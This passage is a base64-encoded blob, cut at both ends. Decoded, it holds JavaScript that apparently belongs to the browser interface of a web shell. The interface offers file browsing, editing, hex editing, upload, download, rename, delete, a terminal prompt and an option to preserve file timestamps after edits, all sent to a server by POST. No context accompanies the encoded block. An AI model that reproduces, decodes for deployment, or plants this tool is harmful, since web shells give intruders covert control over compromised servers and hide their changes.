Jhc2ljSW5mbycpLmhpZGUoKTtsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnaW5mb0JhclNob3duJywnaGlkZGVuJyl9KTskKCcjc2hvd2luZm8nKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpeyQoJyNiYXNpY0luZm8nKS5zaG93KCk7JCgnI3Nob3dpbmZvJykuaGlkZSgpO2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCdzaG93bicpfSk7aWYoKGluZm9CYXJTaG93bj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb0JhclNob3duJykpKXtpZihpbmZvQmFyU2hvd249PSdzaG93bicpeyQoJyNiYXNpY0luZm8nKS5zaG93KCk7JCgnI3Nob3dpbmZvJykuaGlkZSgpfWVsc2V7JCgnI2Jhc2ljSW5mbycpLmhpZGUoKTskKCcjc2hvd2luZm8nKS5zaG93KCk7JCgnI3RvZ2dsZUJhc2ljSW5mbycpLmhpZGUoKX19ZWxzZXtpbmZvX3JlZnJlc2goKX1pZihoaXN0b3J5LnB1c2hTdGF0ZSl7d2luZG93Lm9ucG9wc3RhdGU9ZnVuY3Rpb24oZXZlbnQpe3JlZnJlc2hfdGFiKCl9fWVsc2V7d2luZG93Lmhpc3RvcnlFdmVudD1mdW5jdGlvbihldmVudCl7cmVmcmVzaF90YWIoKX19fX0pO2Z1bmN0aW9uIG91dHB1dChzdHIpe2NvbnNvbGUubG9nKCdudWxscz4gJytzdHIpfWZ1bmN0aW9uIHdpbmRvd19yZXNpemUoKXtib2R5V2lkdGg9JCgnYm9keScpLndpZHRoKCk7aWYoYm9keVdpZHRoPD1wb3J0YWJsZVdpZHRoKXtsYXlvdXRfcG9ydGFibGUoKX1lbHNle2xheW91dF9ub3JtYWwoKX19ZnVuY3Rpb24gbGF5b3V0X3BvcnRhYmxlKCl7bmF2PSQoJyNuYXYnKTttZW51PSQoJyNtZW51Jyk7aGVhZGVyTmF2PSQoJyNoZWFkZXJOYXYnKTtjb250ZW50PSQoJyNjb250ZW50Jyk7bmF2LnByZXBlbmRUbygnI2NvbnRlbnQnKTtuYXYuY3NzKCdwYWRkaW5nJywnNXB4IDhweCcpO25hdi5jc3MoJ21hcmdpbi10b3AnLCc4cHgnKTtuYXYuY3NzKCdkaXNwbGF5JywnYmxvY2snKTtuYXYuYWRkQ2xhc3MoJ2JvcmRlcicpO21lbnUuY2hpbGRyZW4oKS5jc3MoJ3dpZHRoJywnMTAwJScpO21lbnUuaGlkZSgpOyQoJyNtZW51QnV0dG9uJykucmVtb3ZlKCk7aGVhZGVyTmF2LnByZXBlbmQoIjxkaXYgaWQ9J21lbnVCdXR0b24nIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cIiQoJyNtZW51JykudG9nZ2xlKCk7XCIgc3R5bGU9J2Zsb2F0LWxlZnQ7ZGlzcGxheTppbmxpbmU7cGFkZGluZzo0cHggOHB4O21hcmdpbi1yaWdodDo4cHg7Jz5tZW51PC9kaXY+Iik7bWVudS5hdHRyKCdvbmNsaWNrJywiXCQoJyNtZW51JykuaGlkZSgpOyIpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDQpJykuaGlkZSgpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuaGlkZSgpO2lmKCF3aW4peyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuaGlkZSgpfXRibGZvb3Q9JCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTtpZih0Ymxmb290WzBdKXRibGZvb3RbMF0uY29sU3Bhbj0xO2lmKHRibGZvb3RbMV0pdGJsZm9vdFsxXS5jb2xTcGFuPTI7JCgnLmJveCcpLmNzcygnd2lkdGgnLCcxMDAlJyk7JCgnLmJveCcpLmNzcygnaGVpZ2h0JywnMTAwJScpOyQoJy5ib3gnKS5jc3MoJ2xlZnQnLCcwcHgnKTskKCcuYm94JykuY3NzKCd0b3AnLCcwcHgnKTtwYWRkaW5nVG9wPSQoJyNoZWFkZXInKS5oZWlnaHQoKTtjb250ZW50LmNzcygncGFkZGluZy10b3AnLHBhZGRpbmdUb3ArJ3B4Jyk7cG9ydGFibGVNb2RlPXRydWV9ZnVuY3Rpb24gbGF5b3V0X25vcm1hbCgpe25hdj0kKCcjbmF2Jyk7bWVudT0kKCcjbWVudScpO2NvbnRlbnQ9JCgnI2NvbnRlbnQnKTtuYXYuaW5zZXJ0QWZ0ZXIoJyNudWxscycpO25hdi5jc3MoJ3BhZGRpbmcnLCcwJyk7bmF2LmNzcygnbWFyZ2luLXRvcCcsJzAnKTtuYXYuY3NzKCdkaXNwbGF5JywnaW5saW5lJyk7bmF2LnJlbW92ZUNsYXNzKCdib3JkZXInKTttZW51LmNoaWxkcmVuKCkuY3NzKCd3aWR0aCcsJ2F1dG8nKTttZW51LnNob3coKTskKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpO21lbnUuYXR0cignb25jbGljaycsIiIpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDQpJykuc2hvdygpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuc2hvdygpO2lmKCF3aW4peyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuc2hvdygpO2NvbHNwYW49NH1lbHNlIGNvbHNwYW49Mzt0Ymxmb290PSQoJyN4cGxUYWJsZSB0Zm9vdCB0ZDpsYXN0LWNoaWxkJyk7aWYodGJsZm9vdFswXSl0Ymxmb290WzBdLmNvbFNwYW49Y29sc3BhbjtpZih0Ymxmb290WzFdKXRibGZvb3RbMV0uY29sU3Bhbj1jb2xzcGFuKzE7cGFkZGluZ1RvcD0kKCcjaGVhZGVyJykuaGVpZ2h0KCk7Y29udGVudC5jc3MoJ3BhZGRpbmctdG9wJyxwYWRkaW5nVG9wKydweCcpO3BvcnRhYmxlTW9kZT1mYWxzZX1mdW5jdGlvbiBzdGFydF9zY3JvbGwoc3RyKXtpZihzdHI9PSd0b3AnKXt0bz0kKHdpbmRvdykuc2Nyb2xsVG9wKCktc2Nyb2xsQ291bnRlcjtzY3JvbGxDb3VudGVyPXNjcm9sbERlbHRhK3Njcm9sbENvdW50ZXI7aWYodG88PTApe3RvPTA7b25TY3JvbGw9ZmFsc2V9ZWxzZSBpZihvblNjcm9sbCl7c2Nyb2xsVGltZXI9c2V0VGltZW91dCgic3RhcnRfc2Nyb2xsKCd0b3AnKSIsc2Nyb2xsU3BlZWQpOyQod2luZG93KS5zY3JvbGxUb3AodG8pfX1lbHNlIGlmKHN0cj09J2JvdHRvbScpe3RvPSQod2luZG93KS5zY3JvbGxUb3AoKStzY3JvbGxDb3VudGVyO3Njcm9sbENvdW50ZXI9c2Nyb2xsRGVsdGErc2Nyb2xsQ291bnRlcjtib3R0b209JChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpO2lmKHRvPj1ib3R0b20pe3RvPWJvdHRvbTtvblNjcm9sbD1mYWxzZX1lbHNlIGlmKG9uU2Nyb2xsKXtzY3JvbGxUaW1lcj1zZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ2JvdHRvbScpIixzY3JvbGxTcGVlZCk7JCh3aW5kb3cpLnNjcm9sbFRvcCh0byl9fX1mdW5jdGlvbiBnZXRfY3dkKCl7cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChnZXRfY29va2llKCdjd2QnKSl9ZnVuY3Rpb24gZml4X3RhYmNoYXIoZWwsZSl7aWYoZS5rZXlDb2RlPT05KXtlLnByZXZlbnREZWZhdWx0KCk7dmFyIHM9ZWwuc2VsZWN0aW9uU3RhcnQ7ZWwudmFsdWU9ZWwudmFsdWUuc3Vic3RyaW5nKDAsZWwuc2VsZWN0aW9uU3RhcnQpKyJcdCIrZWwudmFsdWUuc3Vic3RyaW5nKGVsLnNlbGVjdGlvbkVuZCk7ZWwuc2VsZWN0aW9uRW5kPXMrMX19ZnVuY3Rpb24gZ2V0X2Nvb2tpZShrZXkpe3ZhciByZXM7cmV0dXJuKHJlcz1uZXcgUmVnRXhwKCcoPzpefDsgKScrZW5jb2RlVVJJQ29tcG9uZW50KGtleSkrJz0oW147XSopJykuZXhlYyhkb2N1bWVudC5jb29raWUpKT8ocmVzWzFdKTpudWxsfWZ1bmN0aW9uIHNldF9jb29raWUoa2V5LHZhbHVlKXtkb2N1bWVudC5jb29raWU9a2V5Kyc9JytlbmNvZGVVUklDb21wb25lbnQodmFsdWUpfWZ1bmN0aW9uIGh0bWxfc2FmZShzdHIpe2lmKHR5cGVvZihzdHIpPT0ic3RyaW5nIil7c3RyPXN0ci5yZXBsYWNlKC8mL2csIiZhbXA7Iik7c3RyPXN0ci5yZXBsYWNlKC8iL2csIiZxdW90OyIpO3N0cj1zdHIucmVwbGFjZSgvJy9nLCImIzAzOTsiKTtzdHI9c3RyLnJlcGxhY2UoLzwvZywiJmx0OyIpO3N0cj1zdHIucmVwbGFjZSgvPi9nLCImZ3Q7Iil9cmV0dXJuIHN0cn1mdW5jdGlvbiB1Y2ZpcnN0KHN0cil7cmV0dXJuIHN0ci5jaGFyQXQoMCkudG9VcHBlckNhc2UoKStzdHIuc2xpY2UoMSl9ZnVuY3Rpb24gdGltZSgpe3ZhciBkPW5ldyBEYXRlKCk7cmV0dXJuIGQuZ2V0VGltZSgpfWZ1bmN0aW9uIHNlbmRfcG9zdCh0YXJnZXRkYXRhLGNhbGxiYWNrLGxvYWRpbmcpe2lmKGxvYWRpbmc9PW51bGwpbG9hZGluZ19zdGFydCgpOyQuYWpheCh7dXJsOnRhcmdldHVybCx0eXBlOidQT1NUJyxkYXRhOnRhcmdldGRhdGEsc3VjY2VzczpmdW5jdGlvbihyZXMpe2NhbGxiYWNrKHJlcyk7aWYobG9hZGluZz09bnVsbClsb2FkaW5nX3N0b3AoKX0sZXJyb3I6ZnVuY3Rpb24oKXtpZihsb2FkaW5nPT1udWxsKWxvYWRpbmdfc3RvcCgpfX0pfWZ1bmN0aW9uIGxvYWRpbmdfc3RhcnQoKXtpZighcnVubmluZyl7JCgnI292ZXJsYXknKS5zaG93KCk7cnVubmluZz10cnVlO2xvYWRpbmdfbG9vcCgpfX1mdW5jdGlvbiBsb2FkaW5nX2xvb3AoKXtpZihydW5uaW5nKXtpbWc9JCgnI2xvYWRpbmcnKTtpbWcuY3NzKCd0cmFuc2Zvcm0nLCdyb3RhdGUoJytsb2FkaW5nX2NvdW50KydkZWcpJyk7aW1nLmNzcygnLW1zLXRyYW5zZm9ybScsJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTtpbWcuY3NzKCctd2Via2l0LXRyYW5zZm9ybScsJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTtsb2FkaW5nX2NvdW50Kz03O2lmKGxvYWRpbmdfY291bnQ+MzYwKWxvYWRpbmdfY291bnQ9MDtpZihydW5uaW5nKXNldFRpbWVvdXQoImxvYWRpbmdfbG9vcCgpIiwyMCl9fWZ1bmN0aW9uIGxvYWRpbmdfc3RvcCgpe2lmKHJ1bm5pbmcpe2ltZz0kKCcjbG9hZGluZycpO2ltZy5jc3MoJ3RyYW5zZm9ybScsJ3JvdGF0ZSgwZGVnKScpO2ltZy5jc3MoJy1tcy10cmFuc2Zvcm0nLCdyb3RhdGUoMGRlZyknKTtpbWcuY3NzKCctd2Via2l0LXRyYW5zZm9ybScsJ3JvdGF0ZSgwZGVnKScpOyQoJyNvdmVybGF5JykuaGlkZSgpO3J1bm5pbmc9ZmFsc2V9fWZ1bmN0aW9uIHNob3dfdGFiKGlkKXtpZighaWQpe2lmKGxvY2F0aW9uLmhhc2ghPScnKWlkPWxvY2F0aW9uLmhhc2guc3Vic3RyKDIpO2Vsc2UgaWQ9ZGVmYXVsdFRhYn1yZWZyZXNoX3RhYihpZCl9ZnVuY3Rpb24gcmVmcmVzaF90YWIoaWQpe2lmKCFpZCl7aWYobG9jYXRpb24uaGFzaCE9JycpaWQ9bG9jYXRpb24uaGFzaC5zdWJzdHIoMik7ZWxzZSBpZD1kZWZhdWx0VGFifSQoJy5tZW51aXRlbVNlbGVjdGVkJykucmVtb3ZlQ2xhc3MoIm1lbnVpdGVtU2VsZWN0ZWQiKTskKCcjbWVudScraWQpLmFkZENsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7dGFiU2Nyb2xsW2N1cnJlbnRUYWIuYXR0cignaWQnKV09JCh3aW5kb3cpLnNjcm9sbFRvcCgpO2N1cnJlbnRUYWIuaGlkZSgpO2N1cnJlbnRUYWI9JCgnIycraWQpO2N1cnJlbnRUYWIuc2hvdygpO3dpbmRvd1tpZF0oKTtpZih0YWJTY3JvbGxbaWRdKXskKHdpbmRvdykuc2Nyb2xsVG9wKHRhYlNjcm9sbFtpZF0pfWhpZGVfYm94KCl9ZnVuY3Rpb24gdHJhcF9lbnRlcihlLGNhbGxiYWNrKXtpZihlLmtleUNvZGU9PTEzKXtpZihjYWxsYmFjayE9bnVsbCl3aW5kb3dbY2FsbGJhY2tdKCl9fWZ1bmN0aW9uIHNob3dfYm94KHRpdGxlLGNvbnRlbnQpe29uRHJhZz1mYWxzZTtoaWRlX2JveCgpO2JveD0iPGRpdiBjbGFzcz0nYm94Jz48cCBjbGFzcz0nYm94dGl0bGUnPiIrdGl0bGUrIjxzcGFuIGNsYXNzPSdib3hjbG9zZSBmbG9hdFJpZ2h0Jz54PC9zcGFuPjwvcD48ZGl2IGNsYXNzPSdib3hjb250ZW50Jz4iK2NvbnRlbnQrIjwvZGl2PjxkaXYgY2xhc3M9J2JveHJlc3VsdCc+PC9kaXY+PC9kaXY+IjskKCcjY29udGVudCcpLmFwcGVuZChib3gpO2JveF93aWR0aD0kKCcuYm94Jykud2lkdGgoKTtib2R5X3dpZHRoPSQoJ2JvZHknKS53aWR0aCgpO2JveF9oZWlnaHQ9JCgnLmJveCcpLmhlaWdodCgpO2JvZHlfaGVpZ2h0PSQoJ2JvZHknKS5oZWlnaHQoKTt4PShib2R5X3dpZHRoLWJveF93aWR0aCkvMjt5PShib2R5X2hlaWdodC1ib3hfaGVpZ2h0KS8yO2lmKHg8MHx8cG9ydGFibGVNb2RlKXg9MDtpZih5PDB8fHBvcnRhYmxlTW9kZSl5PTA7aWYocG9ydGFibGVNb2RlKXskKCcuYm94JykuY3NzKCd3aWR0aCcsJzEwMCUnKTskKCcuYm94JykuY3NzKCdoZWlnaHQnLCcxMDAlJyl9JCgnLmJveCcpLmNzcygnbGVmdCcseCsncHgnKTskKCcuYm94JykuY3NzKCd0b3AnLHkrJ3B4Jyk7JCgnLmJveGNsb3NlJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtoaWRlX2JveCgpfSk7aWYoIXBvcnRhYmxlTW9kZSl7JCgnLmJveHRpdGxlJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtpZighb25EcmFnKXtkcmFnRGVsdGFYPWUucGFnZVgtcGFyc2VJbnQoJCgnLmJveCcpLmNzcygnbGVmdCcpKTtkcmFnRGVsdGFZPWUucGFnZVktcGFyc2VJbnQoJCgnLmJveCcpLmNzcygndG9wJykpO2RyYWdfc3RhcnQoKX1lbHNlIGRyYWdfc3RvcCgpfSl9JChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOyQoZG9jdW1lbnQpLm9uKCdrZXl1cCcsZnVuY3Rpb24oZSl7aWYoZS5rZXlDb2RlPT0yNyloaWRlX2JveCgpfSk7aWYoJCgnLmJveCBpbnB1dCcpWzBdKSQoJy5ib3ggaW5wdXQnKVswXS5mb2N1cygpfWZ1bmN0aW9uIGhpZGVfYm94KCl7JChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOyQoJy5ib3gnKS5yZW1vdmUoKX1mdW5jdGlvbiBkcmFnX3N0YXJ0KCl7aWYoIW9uRHJhZyl7b25EcmFnPXRydWU7JCgnYm9keScpLm9mZignbW91c2Vtb3ZlJyk7JCgnYm9keScpLm9uKCdtb3VzZW1vdmUnLGZ1bmN0aW9uKGUpe2RyYWdYPWUucGFnZVg7ZHJhZ1k9ZS5wYWdlWX0pO3NldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCl9fWZ1bmN0aW9uIGRyYWdfbG9vcCgpe2lmKG9uRHJhZyl7eD1kcmFnWC1kcmFnRGVsdGFYO3k9ZHJhZ1ktZHJhZ0RlbHRhWTtpZih5PDApeT0wOyQoJy5ib3gnKS5jc3MoJ2xlZnQnLHgrJ3B4Jyk7JCgnLmJveCcpLmNzcygndG9wJyx5KydweCcpO3NldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCl9fWZ1bmN0aW9uIGRyYWdfc3RvcCgpe29uRHJhZz1mYWxzZTskKCdib2R5Jykub2ZmKCdtb3VzZW1vdmUnKX1mdW5jdGlvbiBnZXRfYWxsX2Nib3hfc2VsZWN0ZWQoaWQsY2FsbGJhY2spe3ZhciBidWZmZXI9bmV3IEFycmF5KCk7JCgnIycraWQpLmZpbmQoJy5jQm94U2VsZWN0ZWQnKS5ub3QoJy5jQm94QWxsJykuZWFjaChmdW5jdGlvbihpKXtpZigoaHJlZj13aW5kb3dbY2FsbGJhY2tdKCQodGhpcykpKSl7YnVmZmVyW2ldPWhyZWZ9fSk7cmV0dXJuIGJ1ZmZlcn1mdW5jdGlvbiBjYm94X2JpbmQoaWQsY2FsbGJhY2speyQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9mZignY2xpY2snKTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5vZmYoJ2NsaWNrJyk7JCgnIycraWQpLmZpbmQoJy5jQm94Jykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtpZigkKHRoaXMpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKSl7JCh0aGlzKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyl9ZWxzZSAkKHRoaXMpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTtpZihjYWxsYmFjayE9bnVsbCl3aW5kb3dbY2FsbGJhY2tdKCl9KTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe2lmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXskKCcjJytpZCkuZmluZCgnLmNCb3gnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7JCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykucmVtb3ZlQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpfWVsc2V7JCgnIycraWQpLmZpbmQoJy5jQm94Jykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5ub3QoJy5jQm94RXhjZXB0aW9uJykuYWRkQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpfWlmKGNhbGxiYWNrIT1udWxsKXdpbmRvd1tjYWxsYmFja10oKX0pfWZ1bmN0aW9uIGFjdGlvbihwYXRoLHR5cGUpe3RpdGxlPSJBY3Rpb24iO2NvbnRlbnQ9Jyc7aWYodHlwZT09J2ZpbGUnKWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitwYXRoKyInIGRpc2FibGVkPjwvdGQ+PC90cj48dHIgZGF0YS1wYXRoPSciK3BhdGgrIic+PHRkPjxzcGFuIGNsYXNzPSdlZGl0IGJ1dHRvbic+ZWRpdDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PHNwYW4gY2xhc3M9J2RsIGJ1dHRvbic+ZG93bmxvYWQ8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtpZih0eXBlPT0nZGlyJyljb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZmluZCBidXR0b24nPmZpbmQ8L3NwYW4+PHNwYW4gY2xhc3M9J3VsIGJ1dHRvbic+dXBsb2FkPC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO2lmKHR5cGU9PSdkb3QnKWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitwYXRoKyInIGRpc2FibGVkPjwvdGQ+PC90cj48dHIgZGF0YS1wYXRoPSciK3BhdGgrIic+PHRkPjxzcGFuIGNsYXNzPSdmaW5kIGJ1dHRvbic+ZmluZDwvc3Bhbj48c3BhbiBjbGFzcz0ndWwgYnV0dG9uJz51cGxvYWQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjxzcGFuIGNsYXNzPSduZXdmaWxlIGJ1dHRvbic+bmV3IGZpbGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZvbGRlciBidXR0b24nPm5ldyBmb2xkZXI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KTt4cGxfYmluZCgpfWZ1bmN0aW9uIG5hdmlnYXRlKHBhdGgsc2hvd2ZpbGVzKXtpZihzaG93ZmlsZXM9PW51bGwpc2hvd2ZpbGVzPSd0cnVlJztzZW5kX3Bvc3Qoe2NkOnBhdGgsc2hvd2ZpbGVzOnNob3dmaWxlc30sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe3NwbGl0cz1yZXMuc3BsaXQoJ3tbfG51bGxzfF19Jyk7aWYoc3BsaXRzLmxlbmd0aD09Myl7JCgnI25hdicpLmh0bWwoc3BsaXRzWzFdKTtpZihzaG93ZmlsZXM9PSd0cnVlJyl7JCgnI2V4cGxvcmVyJykuaHRtbCgnJyk7JCgnI2V4cGxvcmVyJykuaHRtbChzcGxpdHNbMl0pO3NvcnR0YWJsZS5rKCQoJyN4cGxUYWJsZScpLmdldCgwKSl9JCgnI3Rlcm1pbmFsQ3dkJykuaHRtbChodG1sX3NhZmUoZ2V0X2N3ZCgpKSsnJmd0OycpO3hwbF9iaW5kKCk7d2luZG93X3Jlc2l6ZSgpfX19KX1mdW5jdGlvbiB2aWV3KHBhdGgsdHlwZSxwcmVzZXJ2ZVRpbWVzdGFtcCl7aWYocHJlc2VydmVUaW1lc3RhbXA9PW51bGwpcHJlc2VydmVUaW1lc3RhbXA9J3RydWUnO3NlbmRfcG9zdCh7dmlld0ZpbGU6cGF0aCx2aWV3VHlwZTp0eXBlLHByZXNlcnZlVGltZXN0YW1wOnByZXNlcnZlVGltZXN0YW1wfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnI2V4cGxvcmVyJykuaHRtbCgnJyk7JCgnI2V4cGxvcmVyJykuaHRtbChyZXMpO3hwbF9iaW5kKCk7c2hvd190YWIoJ2V4cGxvcmVyJyk7aWYoKHR5cGU9PSdlZGl0Jyl8fCh0eXBlPT0naGV4Jykpe2VkaXRSZXN1bHQ9KHR5cGU9PSdlZGl0Jyk/JCgnI2VkaXRSZXN1bHQnKTokKCcjZWRpdEhleFJlc3VsdCcpO2lmKGVkaXRTdWNjZXNzPT0nc3VjY2Vzcycpe2VkaXRSZXN1bHQuaHRtbCgnICggRmlsZSBzYXZlZCApJyl9ZWxzZSBpZihlZGl0U3VjY2Vzcz09J2Vycm9yJyl7ZWRpdFJlc3VsdC5odG1sKCcgKCBGYWlsZWQgdG8gc2F2ZSBmaWxlICknKX1lZGl0U3VjY2Vzcz0nJ31jYm94X2JpbmQoJ2VkaXRUYmwnKX19KX1mdW5jdGlvbiB2aWV3X2VudHJ5KGVsKXtpZigkKGVsKS5hdHRyKCdkYXRhLXBhdGgnKSE9Jycpe2VudHJ5PSQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpOyQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd2aWV3RW50cnknIHZhbHVlPSciK2VudHJ5KyInPiIpOyQoJyNmb3JtJykuc3VibWl0KCk7JCgnI2Zvcm0nKS5odG1sKCcnKX19ZnVuY3Rpb24gcmVuKHBhdGgpe3RpdGxlPSJSZW5hbWUiO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPlJlbmFtZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ncmVuYW1lRmlsZVRvJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyZW5fZ28nKTtcIj48aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ncmVuYW1lRmlsZScgdmFsdWU9JyIrcGF0aCsiJz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdyZW5fZ28oKTsnPnJlbmFtZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHRpdGxlLGNvbnRlbnQpfWZ1bmN0aW9uIHJlbl9nbygpe3JlbmFtZUZpbGU9JCgnLnJlbmFtZUZpbGUnKS52YWwoKTtyZW5hbWVGaWxlVG89JCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpO3NlbmRfcG9zdCh7cmVuYW1lRmlsZTpyZW5hbWVGaWxlLHJlbmFtZUZpbGVUbzpyZW5hbWVGaWxlVG99LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtuYXZpZ2F0ZShyZXMpOyQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7JCgnLnJlbmFtZUZpbGUnKS52YWwoJCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpKX1lbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiBuZXdmb2xkZXIocGF0aCl7dGl0bGU9Ik5ldyBGb2xkZXIiO3BhdGg9cGF0aCsnbmV3Zm9sZGVyLScrdGltZSgpO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkZvbGRlciBOYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSduZXdGb2xkZXInIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ25ld2ZvbGRlcl9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J25ld2ZvbGRlcl9nbygpOyc+Y3JlYXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godGl0bGUsY29udGVudCl9ZnVuY3Rpb24gbmV3Zm9sZGVyX2dvKCl7bmV3Rm9sZGVyPSQoJy5uZXdGb2xkZXInKS52YWwoKTtzZW5kX3Bvc3Qoe25ld0ZvbGRlcjpuZXdGb2xkZXJ9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtuYXZpZ2F0ZShyZXMpOyQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyl9ZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpfSl9ZnVuY3Rpb24gbmV3ZmlsZShwYXRoKXt0aXRsZT0iTmV3IEZpbGUiO3BhdGg9cGF0aCsnbmV3ZmlsZS0nK3RpbWUoKTtjb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5GaWxlIE5hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J25ld0ZpbGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ25ld2ZpbGVfZ28nKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSduZXdmaWxlX2dvKCk7Jz5jcmVhdGU8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KX1mdW5jdGlvbiBuZXdmaWxlX2dvKCl7bmV3RmlsZT0kKCcubmV3RmlsZScpLnZhbCgpO3NlbmRfcG9zdCh7bmV3RmlsZTpuZXdGaWxlfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7dmll